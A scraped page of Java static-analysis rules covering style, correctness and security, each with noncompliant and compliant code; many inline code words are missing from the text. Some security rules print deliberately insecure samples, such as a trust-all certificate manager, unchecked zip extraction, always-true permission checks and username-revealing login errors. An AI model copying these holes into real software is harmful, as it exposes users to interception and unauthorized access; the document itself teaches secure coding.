with unhelpful stacktraces. Specifically, Noncompliant Code Exampleprivate static final Boolean bLock = Boolean.FALSE; private static final Integer iLock = Integer.valueOf(0); private static final String sLock = "LOCK"; public void doSomething() { synchronized(bLock) { // Noncompliant // ... } synchronized(iLock) { // Noncompliant // ... } synchronized(sLock) { // Noncompliant // ... } Compliant Solutionprivate static final Object lock1 = new Object(); private static final Object lock2 = new Object(); private static final Object lock3 = new Object(); public void doSomething() { synchronized(lock1) { // ... } synchronized(lock2) { // ... } synchronized(lock3) { // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1862 |
A chain of Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior. Noncompliant Code Exampleif (param == 1) openWindow(); else if (param == 2) closeWindow(); else if (param == 1) // Noncompliant moveWindowToTheBackground(); } Compliant Solutionif (param == 1) openWindow(); else if (param == 2) closeWindow(); else if (param == 3) moveWindowToTheBackground(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1609 |
A Single Abstract Method (SAM) interface is a Java interface containing only one method. The Java API is full of SAM interfaces, such as
Using Note that this rule is automatically disabled when the project's Noncompliant Code Examplepublic interface Changeable<T> { public void change(T o); } Compliant Solution@FunctionalInterface public interface Changeable<T> { public void change(T o); } DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1611 |
There are two possible syntaxes for a lambda having only one input parameter with an inferred type: with and without parentheses around that single parameter. The simpler syntax, without parentheses, is more compact and readable than the one with parentheses, and is therefore preferred. Note that this rule is automatically disabled when the project's Noncompliant Code Example(x) -> x * 2 Compliant Solutionx -> x * 2 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2701 |
There's no reason to use literal boolean values or nulls in assertions. Instead of using them with assertEquals, assertNotEquals and similar methods, you should be using assertTrue, assertFalse, assertNull or assertNotNull instead (or isNull etc. when using Fest). Using them with assertions unrelated to equality (such as assertNull) is most likely a bug. Supported frameworks:
Noncompliant Code ExampleAssert.assertTrue(true); // Noncompliant assertThat(null).isNull(); // Noncompliant assertEquals(true, something()); // Noncompliant assertNotEquals(null, something()); // Noncompliant Compliant SolutionassertTrue(something()); assertNotNull(something()); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1854 |
A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used. Noncompliant Code Examplei = a + b; // Noncompliant; calculation result not used before value is overwritten i = compute(); Compliant Solutioni = a + b; i += compute(); ExceptionsThis rule ignores initializations to -1, 0, 1, See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1612 |
Method/constructor references are commonly agreed to be, most of the time, more compact and readable than using lambdas, and are therefore preferred. In some rare cases, when it is not clear from the context what kind of function is being described and reference would not increase the clarity, it might be fine to keep the lambda. Similarly, Note that this rule is automatically disabled when the project's Noncompliant Code Exampleclass A { void process(List<A> list) { list.stream() .map(a -> a.<String>getObject()) .forEach(a -> { System.out.println(a); }); } <T> T getObject() { return null; } } Compliant Solutionclass A { void process(List<A> list) { list.stream() .map(A::<String>getObject) .forEach(System.out::println); } <T> T getObject() { return null; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1858 |
Invoking a method designed to return a string representation of an object which is already a string is a waste of keystrokes. This redundant construction may be optimized by the compiler, but will be confusing in the meantime. Noncompliant Code ExampleString message = "hello world"; System.out.println(message.toString()); // Noncompliant; Compliant SolutionString message = "hello world"; System.out.println(message); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1850 |
Noncompliant Code Examplepublic boolean isSuitable(Integer param) { ... String name = null; if (name instanceof String) { // Noncompliant; always false since name is null //... } if(param instanceof Number) { // Noncompliant; always true unless param is null, because param is an Integer doSomething(); } ... } Compliant Solutionpublic boolean isSuitable(Integer param) { ... doSomething(); ... } DeprecatedThis rule is deprecated; use S2589 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1610 |
With Java 8's "default method" feature, any abstract class without direct or inherited field should be converted into an interface. However, this change may not be appropriate in libraries or other applications where the class is intended to be used as an API. Note that this rule is automatically disabled when the project's Noncompliant Code Examplepublic abstract class Car { public abstract void start(Environment c); public void stop(Environment c) { c.freeze(this); } } Compliant Solutionpublic interface Car { public void start(Environment c); public default void stop(Environment c) { c.freeze(this); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5042 |
Expanding archive files is security-sensitive. For example, expanding archive files has led in the past to the following vulnerabilities: Applications that expand archive files (zip, tar, jar, war, 7z, ...) should verify the path where the archive's files are expanded and not trust blindly the content of the archive. Archive's files should not be expanded outside of the root directory where the archive is supposed to be expanded. Also, applications should control the size of the expanded data to not be a victim of Zip Bomb attack. Failure to do so could allow an attacker to use a specially crafted archive that holds directory traversal paths (e.g. ../../attacker.sh) or the attacker could overload the file system, processors or memory of the operating system where the archive is expanded making the target OS completely unusable. This rule raises an issue when code handle archives. The goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions.
Recommended Secure Coding Practices
String canonicalDirPath = outputDir.getCanonicalPath(); String canonicalDestPath = targetFile.getCanonicalPath(); if (!canonicalDestPath.startsWith(canonicalDirPath + File.separator)) { // Sanitizer throw new ArchiverException("Entry is trying to leave the target dir: " + zipEntry.getName()); }
Sensitive Code Examplejava.util.zip.ZipFile zipFile = new ZipFile(zipFileName); Enumeration<? extends ZipEntry> entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry e = entries.nextElement(); // Sensitive File f = new File(outputDir, e.getName()); InputStream input = zipFile.getInputStream(e); extractFile(new ZipInputStream(input), outputDir, e.getName()); } ExceptionsThis rule doesn't raise an issue when a ZipEntry or a ArchiveEntry:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5164 |
To avoid such problems, it is recommended to always clean up In addition, calling Noncompliant Code Examplepublic class ThreadLocalUserSession implements UserSession { private static final ThreadLocal<UserSession> DELEGATE = new ThreadLocal<>(); public UserSession get() { UserSession session = DELEGATE.get(); if (session != null) { return session; } throw new UnauthorizedException("User is not authenticated"); } public void set(UserSession session) { DELEGATE.set(session); } public void incorrectCleanup() { DELEGATE.set(null); // Noncompliant } // some other methods without a call to DELEGATE.remove() } Compliant Solutionpublic class ThreadLocalUserSession implements UserSession { private static final ThreadLocal<UserSession> DELEGATE = new ThreadLocal<>(); public UserSession get() { UserSession session = DELEGATE.get(); if (session != null) { return session; } throw new UnauthorizedException("User is not authenticated"); } public void set(UserSession session) { DELEGATE.set(session); } public void unload() { DELEGATE.remove(); // Compliant } // ... } ExceptionsRule will not detect non-private See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4065 |
Java 8 introduced This rule raises an issue when a Noncompliant Code ExampleThreadLocal<List<String>> myThreadLocal = new ThreadLocal<List<String>>() { // Noncompliant @Override protected List<String> initialValue() { return new ArrayList<String>(); } }; Compliant SolutionThreadLocal<List<String>> myThreadLocal = ThreadLocal.withInitial(ArrayList::new); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1905 |
Unnecessary casting expressions make the code harder to read and understand. Noncompliant Code Examplepublic void example() { for (Foo obj : (List<Foo>) getFoos()) { // Noncompliant; cast unnecessary because List<Foo> is what's returned //... } } public List<Foo> getFoos() { return this.foos; } Compliant Solutionpublic void example() { for (Foo obj : getFoos()) { //... } } public List<Foo> getFoos() { return this.foos; } ExceptionsCasting may be required to distinguish the method to call in the case of overloading: class A {} class B extends A{} class C { void fun(A a){} void fun(B b){} void foo() { B b = new B(); fun(b); fun((A) b); //call the first method so cast is not redundant. } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1939 |
All classes extend Further, declaring the implementation of an interface and one if its parents is also redundant. If you implement the interface, you also implicitly implement its parents and there's no need to do so explicitly. Noncompliant Code Examplepublic interface MyFace { // ... } public interface MyOtherFace extends MyFace { // ... } public class Foo extends Object // Noncompliant implements MyFace, MyOtherFace { // Noncompliant //... } Compliant Solutionpublic interface MyFace { // ... } public interface MyOtherFace extends MyFace { // ... } public class Foo implements MyOtherFace { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1820 |
A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain, and having a lot of fields is an indication that a class has grown too large. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1941 |
For the sake of clarity, variables should be declared as close to where they're used as possible. This is particularly true when considering methods that contain early returns and the potential to throw exceptions. In these cases, it is not only pointless, but also confusing to declare a variable that may never be used because conditions for an early return are met first. Noncompliant Code Examplepublic boolean isConditionMet(int a, int b) { int difference = a - b; MyClass foo = new MyClass(a); // Noncompliant; not used before early return if (difference < 0) { return false; } // ... if (foo.doTheThing()) { return true; } return false; } Compliant Solutionpublic boolean isConditionMet(int a, int b) { int difference = a - b; if (difference < 0) { return false; } // ... MyClass foo = new MyClass(a); if (foo.doTheThing()) { return true; } return false; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1700 |
It's confusing to have a class member with the same name (case differences aside) as its enclosing class. This is particularly so when you consider the common practice of naming a class instance for the class itself. Best practice dictates that any field or member with the same name as the enclosing class be renamed to be more descriptive of the particular aspect of the class it represents or holds. Noncompliant Code Examplepublic class Foo { private String foo; public String getFoo() { } } Foo foo = new Foo(); foo.getFoo() // what does this return? Compliant Solutionpublic class Foo { private String name; public String getName() { } } //... Foo foo = new Foo(); foo.getName() ExceptionsWhen the type of the field is the containing class and that field is static, no issue is raised to allow singletons named like the type. public class Foo { ... private static Foo foo; public Foo getInstance() { if(foo==null) { foo = new Foo(); } return foo; } ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code Examplevoid foo(int n, int m) { switch (n) { case 0: switch (m) { // Noncompliant; nested switch // ... } case 1: // ... default: // ... } } Compliant Solutionvoid foo(int n, int m) { switch (n) { case 0: bar(m); case 1: // ... default: // ... } } void bar(int m){ switch(m) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1942 |
Java's Noncompliant Code Exampleimport java.util.List; import java.sql.Timestamp; //... java.util.List<String> myList; // Noncompliant java.sql.Timestamp tStamp; // Noncompliant Compliant Solutionimport java.util.List; import java.sql.Timestamp; //... List<String> myList; Timestamp tStamp; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1943 |
Using classes and methods that rely on the default system encoding can result in code that works fine in its "home" environment. But that code may break for customers who use different encodings in ways that are extremely difficult to diagnose and nearly, if not completely, impossible to reproduce when it's time to fix them. This rule detects uses of the following classes and methods:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2912 |
One thing that makes good code good is the clarity with which it conveys the intent of the original programmer to maintainers, and the proper
choice of If you need to see whether a substring is located beyond a certain point in a string, you can test the Noncompliant Code ExampleString name = "ismael"; if (name.indexOf("ae") > 2) { // Noncompliant // ... } Compliant SolutionString name = "ismael"; if (name.indexOf("ae", 2) > -1) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1948 |
Fields in a This rule raises an issue on non- Noncompliant Code Examplepublic class Address { //... } public class Person implements Serializable { private static final long serialVersionUID = 1905122041950251207L; private String name; private Address address; // Noncompliant; Address isn't serializable } Compliant Solutionpublic class Address implements Serializable { private static final long serialVersionUID = 2405172041950251807L; } public class Person implements Serializable { private static final long serialVersionUID = 1905122041950251207L; private String name; private Address address; } ExceptionsThe alternative to making all members private void writeObject(java.io.ObjectOutputStream out) throws IOException private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code Exampleif ( !(a == 2)) { ...} // Noncompliant boolean b = !(i < 10); // Noncompliant Compliant Solutionif (a != 2) { ...} boolean b = (i >= 10); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4087 |
Java 7's try-with-resources structure automatically handles closing the resources that the Noncompliant Code Exampletry (PrintWriter writer = new PrintWriter(process.getOutputStream())) { String contents = file.contents(); writer.write(new Gson().toJson(new MyObject(contents))); writer.flush(); writer.close(); // Noncompliant } Compliant Solutiontry (PrintWriter writer = new PrintWriter(process.getOutputStream())) { String contents = file.contents(); writer.write(new Gson().toJson(new MyObject(contents))); writer.flush(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5804 |
User enumeration refers to the ability to guess existing usernames in a web application database. This can happen, for example, when using "sign-in/sign-on/forgot password" functionalities of a website. When an user tries to "sign-in" to a website with an incorrect username/login, the web application should not disclose that the username doesn't exist with a message similar to "this username is incorrect", instead a generic message should be used like "bad credentials", this way it's not possible to guess whether the username or password was incorrect during the authentication. If a user-management feature discloses information about the existence of a username, attackers can use brute force attacks to retrieve a large amount of valid usernames that will impact the privacy of corresponding users and facilitate other attacks (phishing, password guessing etc ...). Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesWhen a user performs a request involving a username, it should not be possible to spot differences between a valid and incorrect username:
Sensitive Code ExampleIn a Spring-security web application the username leaks when:
public String authenticate(String username, String password) { // .... MyUserDetailsService s1 = new MyUserDetailsService(); MyUserPrincipal u1 = s1.loadUserByUsername(username); if(u1 == null) { throw new BadCredentialsException(username+" doesn't exist in our database"); // Sensitive } // .... }
public String authenticate(String username, String password) { // .... if(user == null) { throw new UsernameNotFoundException("user not found"); // Sensitive } // .... }
DaoAuthenticationProvider daoauth = new DaoAuthenticationProvider(); daoauth.setUserDetailsService(new MyUserDetailsService()); daoauth.setPasswordEncoder(new BCryptPasswordEncoder()); daoauth.setHideUserNotFoundExceptions(false); // Sensitive builder.authenticationProvider(daoauth); Compliant SolutionIn a Spring-security web application:
public String authenticate(String username, String password) throws AuthenticationException { Details user = null; try { user = loadUserByUsername(username); } catch (UsernameNotFoundException | DataAccessException e) { // Hide this exception reason to not disclose that the username doesn't exist } if (user == null || !user.isPasswordCorrect(password)) { // User should not be able to guess if the bad credentials message is related to the username or the password throw new BadCredentialsException("Bad credentials"); } }
DaoAuthenticationProvider daoauth = new DaoAuthenticationProvider(); daoauth.setUserDetailsService(new MyUserDetailsService()); daoauth.setPasswordEncoder(new BCryptPasswordEncoder()); daoauth.setHideUserNotFoundExceptions(true); // Compliant builder.authenticationProvider(daoauth); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4834 |
Controlling permissions is security-sensitive. It has led in the past to the following vulnerabilities: Attackers can only damage what they have access to. Thus limiting their access is a good way to prevent them from wreaking havoc, but it has to be done properly. This rule flags code that controls the access to resources and actions. The goal is to guide security code reviews. More specifically it will raise issues on the following Spring code:
Pre-post annotations:
It will also raise issue on JSR-250 annotations Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesAt minimum, an access control system should:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1206 |
According to the Java Language Specification, there is a contract between
In order to comply with this contract, those methods should be either both inherited, or both overridden. Noncompliant Code Exampleclass MyClass { // Noncompliant - should also override "hashCode()" @Override public boolean equals(Object obj) { /* ... */ } } Compliant Solutionclass MyClass { // Compliant @Override public boolean equals(Object obj) { /* ... */ } @Override public int hashCode() { /* ... */ } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1448 |
A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2658 |
Dynamically loaded classes could contain malicious code executed by a static class initializer. I.E. you wouldn't even have to instantiate or explicitly invoke methods on such classes to be vulnerable to an attack. This rule raises an issue for each use of dynamic class loading. Noncompliant Code ExampleString className = System.getProperty("messageClassName"); Class clazz = Class.forName(className); // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3626 |
Jump statements such as Noncompliant Code Examplepublic void foo() { while (condition1) { if (condition2) { continue; // Noncompliant } else { doTheThing(); } } return; // Noncompliant; this is a void method } Compliant Solutionpublic void foo() { while (condition1) { if (!condition2) { doTheThing(); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1449 |
Failure to specify a locale when calling the methods Case conversion without a locale may work fine in its "home" environment, but break in ways that are extremely difficult to diagnose for customers
who use different encodings. Such bugs can be nearly, if not completely, impossible to reproduce when it's time to fix them. For locale-sensitive
strings, the correct locale should always be used, but Noncompliant Code ExamplemyString.toLowerCase() Compliant SolutionmyString.toLowerCase(Locale.TR) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5803 |
@VisibleForTesting can be used to mark methods, fields and classes whose visibility restrictions have been relaxed more than necessary for the API to allow for easier unit testing. Access to such methods, fields and classes only possible thanks to this relaxed visibility is fine for test code, but it should be avoided in production code. In production code these methods should be treated as if they are private. Supported framework: * Guava: * AssertJ: * Android: * Apache Flink: Noncompliant Code Example/** src/main/java/MyObject.java */ @VisibleForTesting String foo; /** src/main/java/Service.java */ new MyObject().foo; // Noncompliant, foo is accessed from production code Compliant Solution/** src/main/java/MyObject.java */ @VisibleForTesting String foo; /** src/test/java/MyObjectTest.java */ new MyObject().foo; // Compliant, foo is accessed from test code |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5808 |
Authorizations granted or not to users to access resources of an application should be based on strong decisions. For instance, checking whether the user is authenticated or not, has the right roles/privileges. It may also depend on the user's location, or the date, time when the user requests access. Noncompliant Code ExampleIn a Spring-security web application:
public class WeakNightVoter implements AccessDecisionVoter { @Override public int vote(Authentication authentication, Object object, Collection collection) { // Noncompliant Calendar calendar = Calendar.getInstance(); int currentHour = calendar.get(Calendar.HOUR_OF_DAY); if(currentHour >= 8 && currentHour <= 19) { return ACCESS_GRANTED; // Noncompliant } // when users connect during the night, do not make decision return ACCESS_ABSTAIN; // Noncompliant } }
public class MyPermissionEvaluator implements PermissionEvaluator { @Override public boolean hasPermission(Authentication authentication, Object targetDomainObject, Object permission) { //Getting subject Object user = authentication.getPrincipal(); if(user.getRole().equals(permission)) { return true; // Noncompliant } return true; // Noncompliant } } Compliant SolutionIn a Spring-security web application:
public class StrongNightVoter implements AccessDecisionVoter { @Override public int vote(Authentication authentication, Object object, Collection collection) { Calendar calendar = Calendar.getInstance(); int currentHour = calendar.get(Calendar.HOUR_OF_DAY); if(currentHour >= 8 && currentHour <= 19) { return ACCESS_GRANTED; } // users are not allowed to connect during the night return ACCESS_DENIED; // Compliant } }
public class MyPermissionEvaluator implements PermissionEvaluator { @Override public boolean hasPermission(Authentication authentication, Object targetDomainObject, Object permission) { //Getting subject Object user = authentication.getPrincipal(); if(user.getRole().equals(permission)) { return true; } return false; // Compliant } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4719 |
JDK7 introduced the class
These constants should be preferred to: - the use of a String such as "UTF-8" which has the drawback of requiring the - the use of Guava’s Noncompliant Code Exampletry { byte[] bytes = string.getBytes("UTF-8"); // Noncompliant; use a String instead of StandardCharsets.UTF_8 } catch (UnsupportedEncodingException e) { throw new AssertionError(e); } // ... byte[] bytes = string.getBytes(Charsets.UTF_8); // Noncompliant; Guava way obsolete since JDK7 Compliant Solutionbyte[] bytes = string.getBytes(StandardCharsets.UTF_8) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3749 |
Spring Having non-injected members in one of these classes could indicate an attempt to manage state. Because they are singletons, such an attempt is almost guaranteed to eventually expose data from User1's session to User2. This rule raises an issue when a singleton
Noncompliant Code Example@Controller public class HelloWorld { private String name = null; @RequestMapping("/greet", method = GET) public String greet(String greetee) { if (greetee != null) { this.name = greetee; } return "Hello " + this.name; // if greetee is null, you see the previous user's data } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4838 |
This rule raises an issue when an iteration over the items of a Relying on Noncompliant Code Examplepublic Collection<Person> getPersons() { ... } for (Object item : getPersons()) { // Noncompliant Person person = (Person) item; // Noncompliant; it's required to down-cast to the to correct type to use "item" person.getAdress(); } Compliant Solutionfor (Person person : getPersons()) { // Compliant person.getAddress() ; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3740 |
Generic types shouldn't be used raw (without type parameters) in variable declarations or return values. Doing so bypasses generic type checking, and defers the catch of unsafe code to runtime. Noncompliant Code ExampleList myList; // Noncompliant Set mySet; // Noncompliant Compliant SolutionList<String> myList; Set<? extends Number> mySet; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3981 |
The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or
equal to zero doesn't make sense, since the result is always Noncompliant Code Exampleif (myList.size() >= 0) { ... } if (myList.size() < 0) { ... } boolean result = myArray.length >= 0; if (0 > myArray.length) { ... } Compliant Solutionif (!myList.isEmpty()) { ... } if (myArray.length >= 42) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1200 |
According to the Single Responsibility Principle, introduced by Robert C. Martin in his book "Principles of Object Oriented Design", a class should have only one responsibility:
Classes which rely on many other classes tend to aggregate too many responsibilities and should be split into several smaller ones. Nested classes dependencies are not counted as dependencies of the outer class. Noncompliant Code ExampleWith a threshold of 5: class Foo { // Noncompliant - Foo depends on too many classes: T1, T2, T3, T4, T5, T6 and T7 T1 a1; // Foo is coupled to T1 T2 a2; // Foo is coupled to T2 T3 a3; // Foo is coupled to T3 public T4 compute(T5 a, T6 b) { // Foo is coupled to T4, T5 and T6 T7 result = a.getResult(b); // Foo is coupled to T7 return result; } public static class Bar { // Compliant - Bar depends on 2 classes: T8 and T9 T8 a8; T9 a9; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2653 |
There is no reason to have a This rule raises an issue when a Noncompliant Code Examplepublic class MyServlet extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { if (userIsAuthorized(req)) { updatePrices(req); } } public static void main(String[] args) { // Noncompliant updatePrices(req); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3984 |
Creating a new Noncompliant Code Exampleif (x < 0) new IllegalArgumentException("x must be nonnegative"); Compliant Solutionif (x < 0) throw new IllegalArgumentException("x must be nonnegative"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1201 |
"equals" as a method name should be used exclusively to override It is tempting to overload the method to take a specific class instead of Noncompliant Code Exampleclass MyClass { private int foo = 1; public boolean equals(MyClass o) { // Noncompliant; does not override Object.equals(Object) return o != null && o.foo == this.foo; } public static void main(String[] args) { MyClass o1 = new MyClass(); Object o2 = new MyClass(); System.out.println(o1.equals(o2)); // Prints "false" because o2 an Object not a MyClass } } class MyClass2 { public boolean equals(MyClass2 o) { // Ignored; `boolean equals(Object)` also present //.. } public boolean equals(Object o) { //... } } Compliant Solutionclass MyClass { private int foo = 1; @Override public boolean equals(Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } MyClass other = (MyClass)o; return this.foo == other.foo; } /* ... */ } class MyClass2 { public boolean equals(MyClass2 o) { //.. } public boolean equals(Object o) { //... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3986 |
Few developers are aware of the difference between According to the Javadoc:
Noncompliant Code ExampleDate date = new SimpleDateFormat("yyyy/MM/dd").parse("2015/12/31"); String result = new SimpleDateFormat("YYYY/MM/dd").format(date); //Noncompliant; yields '2016/12/31' Compliant SolutionDate date = new SimpleDateFormat("yyyy/MM/dd").parse("2015/12/31"); String result = new SimpleDateFormat("yyyy/MM/dd").format(date); //Yields '2015/12/31' as expected ExceptionsDate date = new SimpleDateFormat("yyyy/MM/dd").parse("2015/12/31"); String result = new SimpleDateFormat("YYYY-ww").format(date); //compliant, 'Week year' is used along with 'Week of year'. result = '2016-01' |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1444 |
There is no good reason to declare a field "public" and "static" without also declaring it "final". Most of the time this is a kludge to share a
state among several objects. But with this approach, any object can do whatever it wants with the shared state, such as setting it to
Noncompliant Code Examplepublic class Greeter { public static Foo foo = new Foo(); ... } Compliant Solutionpublic class Greeter { public static final Foo FOO = new Foo(); ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4830 |
Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks. The certificate chain validation includes these steps:
This rule raises an issue when an implementation of X509TrustManager is not controlling the validity of the certificate (ie: no exception is
raised). Empty implementations of the Noncompliant Code Exampleclass TrustAllManager implements X509TrustManager { @Override public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { // Noncompliant, nothing means trust any client } @Override public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException { // Noncompliant, this method never throws exception, it means trust any client LOG.log(Level.SEVERE, ERROR_MESSAGE); } @Override public X509Certificate[] getAcceptedIssuers() { return null; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3864 |
According to its JavaDocs,
This rule raises an issue for each use of Noncompliant Code ExampleStream.of("one", "two", "three", "four") .filter(e -> e.length() > 3) .peek(e -> System.out.println("Filtered value: " + e)); // Noncompliant See
|
